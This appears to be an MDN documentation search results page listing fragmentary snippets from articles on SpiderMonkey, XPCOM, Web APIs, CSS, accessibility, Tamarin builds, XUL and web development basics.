...ption, called the map or scope; and unshared property values in a vector, called the slots. each property has an id, either a nonnegative integer or an atom (unique string), with the same tagged-pointer encoding as a jsval. the atom manager consists of a hash table associating strings uniquely with scanner/parser information such as keyword type, index in script or function literal pool, etc. atoms play three roles: as literals referred to by unaligned 16-bit immediate bytecode operands, as unique string descriptors for efficient property name hashing, and as members of the root gc set for exact gc. standard library the methods for arrays, booleans, dates, functions, numbers, and strings are implemented using the js api. most are jsfastnatives. most string methods are customized to accept...
...And 8 more matches
XPCOM array guide
Mozilla › Tech › XPCOM › Guide › Arrays
(nsinode* node); private: nscomarray<nsinode> mnodes; }; // typesafety of mnodes ensures that we only append an nsinode* void nodecontainer::addnode(nsinode* node) { mnodes.appendobject(node); } nscomarray<t> can also be declared on the stack to collect a temporary list of objects and manipulate them. when the object goes out of scope, all its members are released. ...
...ty of mnodes ensures that we only append an nsinode* void nodecontainer::addnode(nsinode* node) { mnodes.appendobject(node); } nscomarray<t> can also be declared on the stack to collect a temporary list of objects and manipulate them. when the object goes out of scope, all its members are released. ...
... only append an nsinode* void nodecontainer::addnode(nsinode* node) { mnodes.appendobject(node); } nscomarray<t> can also be declared on the stack to collect a temporary list of objects and manipulate them. when the object goes out of scope, all its members are released. ...
...And 8 more matches
nsITelemetry
toolkit/components/telemetry/nsitelemetry.idlscriptable a service to gather performance data that can be tracked over time to allow generating histograms. ...
... inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void seth...
...me); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); void sethistogramrecordingenabled(in acstring id, in boolean enabled); void asyncfetchtelemetrydata(in nsifetchtelemetrydatacallback acallback); double mssinceprocessstart(); void scalaradd(in acstring aname, in jsval avalue); void scalarset(in acstring aname, in jsval avalue); void scalarsetmaximum(in acstring aname, in jsval avalue); jsval snapshotscalars(in uint32_t adataset, [optional] in boolean aclear); void keyedscalaradd(in acstring aname, in astring akey, in jsval avalue); void keyedsca...
...And 8 more matches
BluetoothCharacteristicProperties - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothcharacteristicproperties experimentalchrome full support 56notes full support 56notes notes chromeos and macos only. full support 56notes disabled notes linux and versions of windows earlier than 10.disabled from version 56: this feature is be...
... full support 56notes disabled notes linux and versions of window...
... full support 56notes disabled notes linux and versions of windows earlier than 1...
...And 8 more matches
Key Values - Web APIs
the tables below list the standard key values in various categories of key, with an explanation of what the key is typically used for. corresponding virtual keycodes for common platforms are included where available. learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character. keyboardevent.key valu...
...0x1008ff6d) qt::key_paste (0x010000e2) "redo" redo the last action. appcommand_redo gdk_key_redo (0xff66) "undo" undo the last action. appcommand_undo gdk_key_undo (0xff65) [1] on keyboards without a dedicated del key, the mac generates the "delete" value when fn is pressed in tandem with delete (which is backspace on other platforms). [2] internet explorer (tested on release 9 and 11) and firefox 36 and earlier use "del" instead of "delete" for the del key. [3] internet explorer (tested on release 9 and 11) and firefox 36 and earlier generate the value "crsel" instead of "crsel" when the crsel key is pressed. [4] internet explorer (tested on release 9 and 11) and firefox 36 and earlier generate the value "exsel" instead o...
... key. ejects removable media (or toggles an optical storage device tray open and closed). gdk_key_eject (0x1008ff2c) qt::key_eject (0x010000b9) keycode_media_eject (129) "logoff" [2] the logoff key. gdk_key_logoff (0x1008ff61) qt::key_logoff (0x010000d9) "power" the power button or key, to toggle power on and off. note: not all systems pass this key through to to the user agent. keycode_power (26) "poweroff" the poweroff or powerdown key. shuts off the system. gdk_key_powerdown (0x1008ff21) gdk_key_poweroff (0x1008ff2a) qt::key_powerdown (0x0100010b) qt::key_poweroff (0x010000b7) "printscreen" the printscreen or prtscr key. sometimes snapshot. captures the sc...
...And 8 more matches
RTCPeerConnection.addTrack() - Web APIs
ng and video calling for details. syntax rtpsender = rtcpeerconnection.addtrack(track, stream...); parameters track a mediastreamtrack object representing the media track to add to the peer connection. stream... optional one or more local mediastream objects to which the track should be added. the specified track doesn't necessarily have to already be part of any of the specified streams. instead, the streams are simply a way to group tracks together on the receiving end of the connection, making sure they are synchronized. any tracks that are added to the same stream on the local end of the connection will be on the same stream on the remote end. return value the rtcrtpsender object which will be used to transmit the media data. note: every rtcrtpsender is paired with an rtc...
...d to the same stream on the local end of the connection will be on the same stream on the remote end. return value the rtcrtpsender object which will be used to transmit the media data. note: every rtcrtpsender is paired with an rtcrtpreceiver to make up an rtcrtptransceiver. the associated receiver is muted (indicating that it is not able to deliver packets) until and unless one or more streams are added to the receiver by the remote peer. exceptions invalidaccesserror the specified track (or all of its underlying streams) is already part of the rtcpeerconnection. invalidstateerror the rtcpeerconnection is closed. usage notes adding tracks to multiple streams after the track parameter, you can optionally specify one or more mediastream objects to add the track to. only track...
... exceptions invalidaccesserror the specified track (or all of its underlying streams) is already part of the rtcpeerconnection. invalidstateerror the rtcpeerconnection is closed. usage notes adding tracks to multiple streams after the track parameter, you can optionally specify one or more mediastream objects to add the track to. only tracks are sent from one peer to another, not streams. since streams are specific to each peer, specifying one or more streams means the other peer will create a corresponding stream (or streams) automatically on the other end of the connection, and will then automatically add the received track to those streams. streamless tracks if no streams are specified, then the track is streamless. this is perfectly acceptable, although it will be up to the...
...And 8 more matches
WebGL model view projection - Web APIs
see. the sections below offer an in-depth look into the ideas behind and implementation of the model, view, and projection matrices. these matrices are core to moving data around on the screen, and are concepts that transcend individual frameworks and engines. clip space in a webgl program, data is typically uploaded to the gpu with its own coordinate system and then the vertex shader transforms those points into a special coordinate system known as clip space. any data which extends outside of the clip space is clipped off and not rendered. however, if a triangle straddles the border of this space then it is chopped up into new triangles, and only the parts of the new triangles that are in clip space are kept. the above graphic is a visualization of the clip space that all of the poi...
...ruct the triangles composing the cube's faces). the positions and colors are stored in gl buffers, sent to the shader as attributes, and then operated upon individually. finally a single model matrix is computed and set. this matrix represents the transformations to be performed on every point making up the model in order to move it into the correct space, and to perform any other needed transforms on each point in the model. this applies not just to each vertex, but to every single point on every surface of the model as well. in this case, for every frame of the animation a series of scale, rotation, and translation matrices move the data into the desired spot in clip space. the cube is the size of clip space (-1,-1,-1) to (1,1,1) so it will need to be shrunk down in order to not fill the...
... = function(now) { //scale down by 50% var scale = mdn.scalematrix(0.5, 0.5, 0.5); // rotate a slight tilt var rotatex = mdn.rotatexmatrix(now * 0.0003); // rotate according to time var rotatey = mdn.rotateymatrix(now * 0.0005); // move slightly down var position = mdn.translatematrix(0, -0.1, 0); // multiply together, make sure and read them in opposite order this.transforms.model = mdn.multiplyarrayofmatrices([ position, // step 4 rotatey, // step 3 rotatex, // step 2 scale // step 1 ]); }; in order to use this in the shader it must be set to a uniform location. the locations for the uniforms are saved in the locations object shown below: this.locations.model = gl.getuniformlocation(webglprogram, 'model'); and finally the uniform is set ...
...And 8 more matches
Web accessibility for seizures and physical reactions - Accessibility
y foundation's article, photosensitivity and seizures, provides a list of triggers that may cause seizures in photosensitive people; here's an excerpt from that list: television screens or computer monitors due to the flicker or rolling images. certain video games or tv broadcasts containing rapid flashes or alternating patterns of different colors. intense strobe lights like visual fire alarms. natural light, such as sunlight, especially when shimmering off water, flickering through trees or through the slats of venetian blinds. certain visual patterns, especially stripes of contrasting colors. that same article continues that many factors must combine to trigger the photosensitive reaction. of note is that it includes the wavelength of light as a possible factor; wavelengths in th...
... red flashing”. you don't even need an image or video to cause harm. a <div> element set to change color and luminosity at high frequency, easily done via javascript, can cause real harm. and, flickering can occur everywhere. for example, "spinners" commonly used to display while pages load, can easily "flicker" while spinning. additional concerns exist for individuals with motor-skills problems. for example, the page for trace research & development center’s photosensitive epilepsy analysis tool notes that “photosensitive seizures can be provoked by certain types of flashing in web or computer content, including mouse-overs that cause large areas of the screen to rapidly flash on and off repeatedly.” other physical reactions nausea, vertigo (or dizziness), and disorientation are...
...however, seizures are not the only adverse physical response possible from flashing, flickering, blnking, and other such stimuli. in 1997, a japanese cartoon featured an animated "virus bomb". some of the children watching the cartoon reacted by having seizur...
...And 8 more matches
@font-feature-values - CSS: Cascading Style Sheets
3 maps to cv03=1, and ident2: 2 4 maps to cv02=4, but ident2: 2 4 5 is invalid. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 34 full support 24disabled disabled from version 24: this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). ...
...And 8 more matches
filter - CSS: Cascading Style Sheets
Web › CSS › filter
img4" class="internal default" src="/files/3711/test_form_2_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "lucida grande", "lucida sans unicode", "dejavu sans", lucida, arial, helvetica, sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -webkit-filter:blur(5px); -ms-filter:blur(5px); filter:blur(5px); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0; margin: 0 0 1.286em; height: 100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight: bold; } tab...
...ult" src="/files/3709/test_form_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "lucida grande","lucida sans unicode","dejavu sans",lucida,arial,helvetica,sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -moz-filter:brightness(2); -webkit-filter:brightness(2); -ms-filter:brightness(2); filter:brightness(2); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; height:100%; width: 85%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-weight...
... src="/files/3713/test_form_3_s.jpg" style="width: 100%;" /></td> </tr> </tbody> </table> html { height:100%; } body { font: 14px/1.286 "lucida grande","lucida sans unicode","dejavu sans",lucida,arial,helvetica,sans-serif; color: rgb(51, 51, 51); height:100%; overflow:hidden; } #img2 { width:100%; height:auto; -moz-filter:contrast(200%); -webkit-filter:contrast(200%); -ms-filter:contrast(200%); filter:contrast(200%); } table.standard-table { border: 1px solid rgb(187, 187, 187); border-collapse: collapse; border-spacing: 0px; margin: 0px 0px 1.286em; width: 85%; height: 100%; } table.standard-table th { border: 1px solid rgb(187, 187, 187); padding: 0px 5px; background: none repeat scroll 0% 0% rgb(238, 238, 238); text-align: left; font-wei...
...And 8 more matches
position - CSS: Cascading Style Sheets
Web › CSS › position
y positioned boxes do not collapse with other margins. fixed the element is removed from the normal document flow, and no space is created for the element in the page layout. it is positioned relative to the initial containing block established by the viewport, except when one of its ancestors has a transform, perspective, or filter property set to something other than none (see the css transforms spec), in which case that ancestor behaves as the containing block. (note that there are browser inconsistencies with perspective and filter contributing to containing block formation.) its final position is determined by the values of top, right, bottom, and left. this value always creates a new stacking context. in printed documents, the element is placed in the same position on every page. s...
...this can be used to create a "floating" element that stays in the same position regardless of scrolling. in the example below, box "one" is fixed at 80 pixels from the top of the page and 10 pixels from the left. even after scrolling, it remains in the same place relative to the viewport. html <div class=...
...placerat egestas. vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi. duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. sed velit augue, pretium a sem aliquam, congue porttitor tortor. sed tempor nisl a lorem consequat, id maximus erat aliquet. sed sagittis porta libero sed condimentum. aliquam finibus lectus nec ante congue rutrum. curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus. </p> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit. nam congue tortor eget pulvinar lobortis. vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; nam ac dolor augue. pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. nam vitae iaculis elit. aliquam mollis interdum lib...
...And 8 more matches
Setting up adaptive streaming media sources - Developer guides
let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an html5 media element. how would you do that? this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.) choosing formats in terms of adaptive streaming formats, there are many to choose from; we decided to choose the following two as between them we can support most modern browsers. mpeg-dash hls (http live streaming) in order to adaptively stream media we need to split the media up into chunks. we are required to provide several different quality files split up over several time points. the more qualities and time points there are, the more 'adaptive' your stream will be, but we will usually want to find a pragmatic balanc...
...we will usually want to find a pragmatic balance between size, time to encode and adaptiveness. the good news is that once we have encoded our media in the appropriate format we are pretty good to go. for adaptive streaming over http, no special server-side components are required. both mpeg-dash and hls use a playlist format to structure the component piece of media that make the possible streams. various bitrate streams are broken into segments and placed in appropriate server folders — we have to provide our media players with a link to lookup files or playlists specifying the name and location of these stream folders. mpeg-dash encoding mpeg-dash is an adaptive bitrate streaming technique that enables streaming of media content over the internet delivered from conventional http web...
...provide our media players with a link to lookup files or playlists specifying the name and location of these stream folders. mpeg-dash encoding mpeg-dash is an adaptive bitrate streaming technique that enables streaming of media content over the internet delivered from conventional http web servers. a media presentation description (mpd) file is used to hold the information on the various streams and the bandwidths they are associated with. in your video source (src) attribute you point to the mpd instead of to the media file as you would with non-adaptive media. the mpd file tells the browser where the various pieces of media are located, it also includes meta data such as mimetype and codecs and there are other details such as byte-ranges in there too - it is an xml document and in man...
...And 8 more matches
<input type="tel"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › tel
ckly apparent of these is that mobile browsers — especially on mobile phones — may opt to present a custom keypad optimized for entering phone numbers. using a specific input type for telephone numbers also makes adding custom validation and handling of phone numbers more convenient. note: browsers that don't support type tel fall back to being a standard text input. ...
... additional attributes in addition to the attributes that operate on all <input> elements regardless of their type, telephone number inputs support the following attributes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options ...
.../span> </span> </div> <div> <button>submit</button> </div> </form> the javascript is relatively simple — it contains an onchange event handler that, when the <select> value is changed, updates the <input> element's pattern, placeholder, and aria-label to suit the format of telephone numbers in that country/territory. ...
...And 8 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
of 2009, and for the 6th major edition of the standard, published in june of 2015. because it is more familiar, we will refer to ecmascript as "javascript" from this point on. unlike most programming languages, the javascript language has no concept of input or output. it is designed to run as a scripting language in a host environment, and it is up to the host environment to provide mechanisms for communicating with the outside world. the most common host environment is the browser, but javascript interpreters can also be found in a huge list of other places, including adobe acrobat, adobe photoshop, svg images, yahoo's widget engine, server-side environments such as node.js, nosql databases like the open source apache couchdb, embedded computers, complete desktop environments like gno...
... overview javascript is a multi-paradigm, dynamic language with types and operators, standard built-in objects, and methods. its syntax is based on the java and c languages — many structures from those languages apply to javascript as well. javascript supports object-oriented programming with object prototypes, instead of classes (see more about prototypical inheritance and es201...
...cript supports object-oriented programming with object prototypes, instead of classes (see more about prototypical inheritance and es2015 classes). javascript also supports functional programming — because they are objects, functions may be stored in variables and passed around like any other object. let's start off by looking at the building blocks of any language: the types. javascript programs manipulate values, and those values all belong to a type. javascript's types are: number string boolean function object symbol (new in es2015) ... oh, and undefined and null, which are ... slightly odd. and array, which is a special kind of object. and date and regexp, which are objects that you get for free. and to be technically accurate, functions are just a special type of object. s...
...And 8 more matches
The building blocks of responsive design - Progressive web apps (PWAs)
ntial components of responsive design, with some links to further information where necessary. for web developers, it is now fairly common to be called upon to create a web site or app that changes its user interface depending on the browser or device accessing the site to provide an optimized experience. one approach to this is to create different versions of your site/app for different platforms or browsers and serve them appropriately after detecting which browser or platform is looking at your site. but this is increasingly inefficient: browser sniffing is inherently error prone, and maintaining multiple copies of your code can turn out to be a nightmare. it is usually much better to create a single version of your code which doesn't care about what browser or platform is accessing th...
...he browser supports or what the values of certain browser features are, and then adjusts the code appropriately. this tends to be termed responsive design or adaptive design, two related but different approaches. this is much more reliable, more maintainable, and more future proof. you don't get caught in the situation of having to bring out more new site versions as more new browsers and platforms come out, and adjust code as feature support in existing browsers changes. there are disadvantages to this approach as well. if the content, layout, and functionality need to change greatly for different devices, it may not be such a good approach. also, taking an existing site and adding responsiveness to it, to make it mobile/tablet friendly, can be a lot more effort than just creating a separ...
...pecially if it is a sprawling enterprise site. read more about responsive design advantages and disadvantages. you can also read our discussion on the basics of responsive design, if you need some more background information and basics. fluid grids the best place to start is with fluid measurements for our application layout — essentially, this means using a combination of percentages and ems/rems to size your containers and text, not fixed widths such as pixels. this has a lot of advantages in that the layout will adapt to different viewport dimensions. let's look at an example. we've written a simple-but-fun prototype for an application called snapshot, which takes a video stream from your webcam (using getusermedia()) then allows you to capture stills from that video stream (using...
...And 8 more matches
Localization - Archive of obsolete content
le, and assign its get function to "_" (underscore). wrap all references to localizable strings with the _() function. if you run it you'll see the expected output for the current locale: info: hello! info: bonjour ! note that because you can't require() modules in content scripts, you can't yet reference localized strings from content scripts. plurals the l10n module supports plural forms. ...
...() function. if you run it you'll see the expected output for the current locale: info: hello! info: bonjour ! note that because you can't require() modules in content scripts, you can't yet reference localized strings from content scripts. plurals the l10n module supports plural forms. different languages have different rules for the formation of plurals. ...
...modules in content scripts, you can't yet reference localized strings from content scripts. plurals the l10n module supports plural forms. different languages have different rules for the formation of plurals. ...
...And 7 more matches
Index of archived content - Archive of obsolete content
content/content content/loader content/mod content/symbiont content/worker core/heritage core/namespace core/promise dev/panel event/core event/target frame/hidden-frame frame/utils fs/path io/byte-streams io/file io/text-streams lang/functional lang/type loader/cuddlefish loader/sandbox net/url net/xhr places/bookmarks places/favicon places/history platform/xpcom preferences/event-target preferences/servi...
... bookmarks boxes canvas code snippets cookies customizing the download progress bar delayed execution dialogs and prompts downloading files drag & drop embedding svg examples and demos from articles file i/o finding window handles forms related code snippets html in xul for rich tooltips html to dom isdefaultnamespace js xpcom javascript debugger service javascript timers javascript daemons management label and description lookupnamespaceuri lookupprefix ...
... new security model for web services new skin notes overview of how downloads work plug-n-hack plug-n-hack get involved plug-n-hack phase1 plug-n-hack phase2 plug-n-hack tools supported plugin architecture porting nspr to unix platforms priority content prism blogposts build bundlelibrary bundles configuration extensions faq hostwindow installer scripting styling proxy ui pydom rdf api rdf data...
...And 7 more matches
Running Tamarin performance tests - Archive of obsolete content
set the builtinabc environment variable to the path of the builtin.abc. ...
...f the shell_toplevel.abc. (in tamarin-redux/generated directory) set the asc environment variable to the path of the asc.jar compiler. you may download the latest asc.jar from ftp://ftp.mozilla.org/pub/js/tamarin...latest/asc.jar. also the source to asc.jar may be downloaded and rebuilt from http://opensource.adobe.com/wiki/dis...exsdk/flex+sdk. (optional) you may compare the performance of the avmshell to another avmshell. for example you may download or build the latest checked in avmshell to compare against a local change. to compare a build against another build set the avm2 environment variable to the other avmshell or use the "-s --avm2" options. results from the two shells will be shown side to side and the percent speedup will be shown. $ cd tamarin-redux/test/performance $ python r...
... compare against a local change. to compare a build against another build set the avm2 environment variable to the other avmshell or use the "-s --avm2" options. results from the two shells will be shown side to side and the percent speedup will be shown. ...
...And 7 more matches
Tamarin build documentation - Archive of obsolete content
tamarin source versions the following instructions are for obtaining and building the tamarin central source code. for instructions on tamarin tracing, please see tamarin tracing build documentation. supported platforms tamarin currently supports the following operating systems and/or architectures. windows 32 and 64 bit mac osx 10.4, 10.5 on ppc mac osx 10.5, 10.6 on intel linux 32 and 64 bit solaris 10 on sparc android 2.2 on arm windows mobile 6.5 mips (linux) sh4 (linux) getting the tamarin source the tamarin source resides in mercurial at tamarin central. active development source resides at tamarin redux. in this document replace instances of tamarin-central with tamarin-redux to operate in the redux repository. use the following command to create a copy of ...
... instructions - non-android) prerequisites: you need python 2.5 or later and gnu make 3.81 or later. (gnu make 3.80 does not work. nor does any other brand of make.) with the right prerequisites, use these commands to build tamarin: $ hg clone http://hg.mozilla.org/tamarin-redux/ $ cd tamarin-redux $ mkdir objdir-release $ cd objdir-release $ python ../configure.py $ make ... $ shell/avmshell shell 1.0 build cyclone ... the avmplus executable is avmshell. optional flags: --enable-debugger - debugger build --enable-debug - debug build for verbose build of tamarin, you can pass cppflags to make. $ make cppflags=-davmplus_verbose additional instructions for non-android cross-platform tamarin-redux build on osx 10.6 (snow leopard) (to build tamarin-central on mac pleas...
...tlmfc\lib;$vs_home\vc\lib;c:\program files\microsoft sdks\windows\v6.0a\lib" export libpath="$vs_home\vc\atlmfc\lib;$vs_home\vc\lib;c:\program files\microsoft sdks\windows\v6.0a\lib" with the above setup you should now be able to build: $ hg clone http://hg.mozilla.org/tamarin-central/ $ cd tamarin-central $ mkdir objdir-release $ cd objdir-release $ python ../configure.py $ make ... $ shell/avmshell.exe shell 1.0 build cyclone ... microsoft visual studio visual studio 2008 (vs2008) is the preferred windows build environment. visual studio 2003 and 2005 are no longer supported. to build tamarin: copy tamarin/platform/win32/armasm.rules to c:/program files/microsoft visual studio 9.0/vc/vcprojectdefaults build "builtin.h" following the instructions below in the section "compiling ...
...And 7 more matches
ContextMenus - Archive of obsolete content
context menus a context menu is a menu where the items on the menu are specific to the context in which the menu was opened. a typical usage is for the user to right-click on an element to display a menu of commands pertaining to what was clicked on. context menu events there are various ways in which a context menu can be opened. the most common is by clicking on an element with the right mouse button. on macintosh systems with only one mouse button, a context menu may be opened by either holding down the mouse button or by pressing the control key and clicking the mouse button. on windows, the context menu can also be opened by pressing the menu key on the keyboard (the key on many keyboards next to control with a menu image) or by pressing shift+f10. you should not assume that ...
...nu to apply to. one technique is to attach a context menu to an entire document area. for instance, the firefox browser applies a single context menu to the browser area which displays web pages. for example, the following will attach a context menu with the id 'contentareacontextmenu' to a browser element: <browser context="contentareacontextmenu"> indicating the default item on some platforms, one of the items in a context menu is marked as being a default operation. typically, this will cause the menuitem's label to appear in the context menu in bold. what constitutes the default item isn't specified, but is usually the operation carried out when the item was left-clicked or pressed normally, as opposed to context clicked. you can indicate this item, if it applies, using the default ...
...tem was left-clicked or pressed normally, as opposed to context clicked. you can indicate this item, if it applies, using the default attribute. <menupopup id="link-menu"> <menuitem label="open link" default="true"/> <menuitem label="open in new window"/> <menuitem label="properties"/> </menupopup> the default attribute has been set to true on the first menu item ('open link'). on platforms that support it, it will be marked as a default item. on other platforms, the attribute will just be ignored and the menuitem will be displayed normally. naturally, it only makes sense to have one default item per context menu. note that the default attribute just affects how the item is displayed, it performs no other function itself. you will still need to associate code with the element to ha...
...And 7 more matches
Tree View Details - Archive of obsolete content
« previousnext » this section will describe some more features of tree views. creating a hierarchical custom view in the last section, we created a simple tree view that implemented only a minimum amount of functionality. next, let's look at some additional functions that views may implement. here, we will examine how to create a hierarchical set of items using the view. this is a fairly tricky process as it involves keeping track of which items have children and also which rows are open and closed. nesting level every row in the tree has a nesting level. the topmost rows are at level 0, the children of those rows are at level 1, their children at level 2 and so on. the tree will query the view for each row by calling its getlevel method to find out the level of that ro...
...three functions, iscontainer, iscontainerempty and iscontaineropen that are used to handle a parent item in the tree. the iscontainer method should return true if a row is a container and might contain children. the iscontainerempty method should return true if a row is an empty container, for instance, a directory with no files in it. the iscontaineropen method is used to determine which items are opened and closed. the view is required to keep track of this. the tree will call this method to determine which containers are open and which are closed. note that the tree will call neither iscontainerempty nor iscontaineropen for rows that are not containers as indicated by the return value of the iscontainer method. a container may be rendered differently than a non-container. for inst...
...s method to determine which containers are open and which are closed. note that the tree will call neither iscontainerempty nor iscontaineropen for rows that are not containers as indicated by the return value of the iscontainer method. a container may be rendered differently than a non-container. for instance, a container may have a folder icon beside it. a style sheet may be used to style items based on various properties such as whether a row is open. this is described in a later section. a non-empty container will be displayed with a twisty next to it so that the user may open and close the row to see child items. empty containers will not have a twisty, but will still be treated like a container. when the user clicks the twisty to open a row, the tree will call the view's toggleopen...
...And 7 more matches
Using the W3C DOM - Archive of obsolete content
some browsers have non-standard properties, such as internet explorer's document.all[], that are not part of the w3c document object model (dom) standards and may cause javascript errors in standards-compliant browsers. the w3c document object model provides interfaces dom elements to scriptable objects. w3c dom standards are well supported by modern browsers, however the standards are moving target so support for newer features should be tested before use. ...
... accessing elements with ...
... accessing elements with the w3c dom the basic me...
...And 7 more matches
Game distribution - Game development
ative building games with html5 gives you extra advantages, such as: multiplatform bliss the technology itself is multiplatform, so you can write the code once and target multiple devices. this can range from low-end smartphones or tablets, through laptops and desktop computers, to smart tvs, watches or even a fridge if it can handle a modern enough browser. you don't need to have separate teams to work on the same title targeting different platforms with only one code base to worry about. you can spend more time and money on promotion and monetization. instant updates you don't have to wait several days to have your game's code updated. if your user finds a bug, you can quickly fix it, update the system and refresh the game on your server to provide players with the updated code almos...
...thing you will have to focus on if you truly want to succeed. mobile devices are where html5 technology can truly shine and show its advantages. there's no flash, and html5 is fully multiplatform. trying to compete with desktop games directly is very difficult. you can put your html5 games into the same arena (see native desktop, later on) and you should because it's good to diversify the platforms you support, but you have to remember that developers creating desktop games have years of experience, great tools and stable distribution channels. many html5 games will target different market segments than native desktop games, e.g. simple time killer games to be played while on the move rather than huge immersive experiences. such games are often designed to be played with two, or even one fi...
...els. many html5 games will target different market segments than native desktop games, e.g. simple time killer games to be played while on the move rather than huge immersive experiences. such games are often designed to be played with two, or even one finger, so you can hold the device, play the game and be able to use the second hand for whatever you currently need. saying this, desktop platforms can be used for distribution quite easily with the availability of wrappers that can help you prepare native builds of your game see packaging games. it's also nice to provide desktop controls for your games even if you're mostly targeting mobile. players are enjoying your games on any platform available, and desktop is one of them. plus, it is usually easier to build and test the game first on d...
...And 7 more matches
What is accessibility? - Learn web development
sable by as many people as possible. we traditionally think of this as being about people with disabilities, but the practice of making sites accessible also benefits other groups such as those using mobile devices, or those with slow network connections. you might also think of accessibility as treating everyone the same, and giving them equal opportunities, no matter what their ability or circumstances. just as it is wrong to exclude someone from a physical building because they are in a wheelchair (modern public buildings generally have wheelchair ramps or elevators), it is also not right to exclude someone from a website because they have a visual impairment. we are all different, but we are all human, and therefore have the same human rights. accessibility is the right thing to do. pr...
...isability", and "between 110 million and 190 million adults have significant difficulties in functioning." people with visual impairments people with visual impairments include people with blindness, low-level vision, and color blindness. many people with visual impairments use screen magnifiers that are either physical magnifiers or software zoom capabilities. most browsers and operating systems these days have zoom capabilities. some users will rely on screen readers, which is software that reads digital text aloud. some screen reader examples include: some are paid commercial products, like jaws (windows) and dolphin screen reader (windows). some are free products, like nvda (windows), chromevox (chrome, windows and mac os x), and orca (linux). some are built into the operating sy...
...t windows), chromevox (on chrome os), and talkback (android). it is a good idea to familiarise yourself with screen readers; you should also set up a screen reader and have a play around with it, to get an idea of how it works. see our cross-browser testing screen readers guide for more details on using them. the below video also provides a brief example of what the experience is like. in terms of statistics, the world health organization estimates that "285 million people are estimated to be visually impaired worldwide: 39 million are blind and 246 have low vision." (see visual impairment and blindness). that's a large and significant population of users to just miss out on because your site isn't coded properly — almost the same size as the population of the united states of america...
...And 7 more matches
Images, media, and form elements - Learn web development
understanding what is and isn't possible can save some frustration, and this lesson will highlight some of the main things that you need to know. ...
...ments, you may well find that they behave slightly differently to other elements. for example, in a flex or grid layout elements are stretched by default to fill the entire area. images will not stretch, and instead will be aligned to the start of the grid area or flex container. you can see this happening in the example below where we have a two column, two row grid container, which has four items in it. all of the <div> elements have a background color and stretch to fill the row and column. the image, however, does not stretch. if you are following these lessons in order then you may not have looked at layout yet. just keep in mind that replaced elements, when they become part of a grid or flex layout, have different default behaviors, essentially to avoid them being stretched strange...
...ors, essentially to avoid them being stretched strangely by the layout. to force the image to stretch to fill the grid cell it is in, you'd have to do something like following: img { width: 100%; height: 100%; } this would however stretch the image, so probably isn't what you'd want to do. form elements form elements can be a tricky issue when it comes to styling with css, and the web forms module contains detailed guides to the trickier aspects of styling form elements, which i will not fully reproduce here. there are a few key basics worth highlighting in this section of the article. many form controls are added to your page by way of the <input> element — this defines simple form fields such as text inputs, through to more complex fields added in html5 such as color and date p...
...And 7 more matches
Introduction to CSS layout - Learn web development
is due to the fact that they are styled with display: block. if you create a link around some text inside a paragraph, that link remains inline with the rest of the text, and doesn’t break onto a new line. this is because the <a> element is display: inline by default. you can change this default display behavior. for example, the <li> element is display: block by default, meaning that list items display one below the other in our english document. if we change the display value to inline they now display next to each other, as words would do in a sentence. the fact that you can change the value of display for any element means that you can pick html elements for their semantic meaning, without being concerned about how they will look. the way they look is something that you can change. ...
...tant for our purposes when discussing layout are display: flex and display: grid. flexbox flexbox is the short name for the flexible box layout module, designed to make it easy for us to lay things out in one dimension — either as a row or as a column. to use flexbox, you apply display: flex to the parent element of the elements you want to lay out; all its direct children then become flex items. we can see this in a simple example. the html markup below gives us a containing element, with a class of wrapper, inside which are three <div> elements. by default these would display as block elements, below one another, in our english language document. however, if we add display: flex to the parent, the three items now arrange themselves into columns. this is due to them becoming flex item...
